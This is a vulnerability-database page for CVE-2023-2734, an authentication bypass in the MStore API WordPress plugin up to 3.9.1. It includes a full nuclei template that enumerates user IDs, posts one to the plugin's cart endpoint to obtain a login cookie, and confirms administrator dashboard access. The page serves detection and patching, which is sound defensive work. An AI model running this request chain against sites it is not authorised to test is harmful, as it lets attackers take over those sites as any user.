HexBrain

Browse / CVEs / CVE-2023-2734

CVE-2023-2734· inspireui / mstore api· CWE-200

MStore API <= 3.9.1 - Authentication Bypass

criticalseverity
9.8CVSS score
3.8%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it

The MStore API plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 3.9.1. This is due to insufficient verification on the user being supplied during the cart sync from mobile REST API request through the plugin. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the user id.

Impact

Attackers can log in as any user, including administrators, potentially gaining full control over the site.

Fix

Update to version 3.9.2 or later.

How to confirm it

Send: GET {{BaseURL}}/{{route}}
Positive when: status_code == 200 and contains(content_type, "application/json") and contains_all(body, "[{\"id", "name\":")
Send: POST /wp-json/api/flutter_woo/cart
Positive when: status_code == 200 || status_code == 500 and contains(content_type, "application/json") and contains(header, "wordpress_logged_in_")
Send: POST /wp-admin/index.php
Positive when: status_code == 200 and contains_all(body, "Dashboard","Plugins","Edit Profile")

Run it with nuclei: nuclei -id CVE-2023-2734 -u <target>

The full check
id: CVE-2023-2734

info:
  name: MStore API <= 3.9.1 - Authentication Bypass
  author: daffainfo
  severity: critical
  description: |
    The MStore API plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 3.9.1. This is due to insufficient verification on the user being supplied during the cart sync from mobile REST API request through the plugin. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the user id.
  impact: |
    Attackers can log in as any user, including administrators, potentially gaining full control over the site.
  remediation: |
    Update to version 3.9.2 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/mstore-api/mstore-api-391-authentication-bypass
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=2915729%40mstore-api&old=2913397%40mstore-api&sfp_email=&sfph_mail=#file59
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2734
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 9.8
    cve-id: CVE-2023-2734
    epss-score: 0.03805
    epss-percentile: 0.90111
    cwe-id: CWE-200
    cpe: cpe:2.3:a:inspireui:mstore_api:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: inspireui
    product: mstore_api
    framework: wordpress
    fofa-query: body="/wp-content/plugins/mstore-api/"
    publicwww-query: "/wp-content/plugins/mstore-api/"
  tags: cve,cve2023,wordpress,wp,wp-plugin,inspireui,mstore_api,auth-bypass,vkev,vuln

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/{{route}}"

    attack: clusterbomb
    payloads:
      route:
        - "wp-json/wp/v2/users"
        - "?rest_route=/wp/v2/users"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "[{\"id", "name\":")'
        condition: and
        internal: true

    extractors:
      - type: json
        name: user_id
        json:
          - '.[0].id'
        internal: true

  - raw:
      - |
        POST /wp-json/api/flutter_woo/cart HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"customer_id":{{user_id}}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 500'
          - 'contains(content_type, "application/json")'
          - 'contains(header, "wordpress_logged_in_")'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/index.php HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Dashboard","Plugins","Edit Profile")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from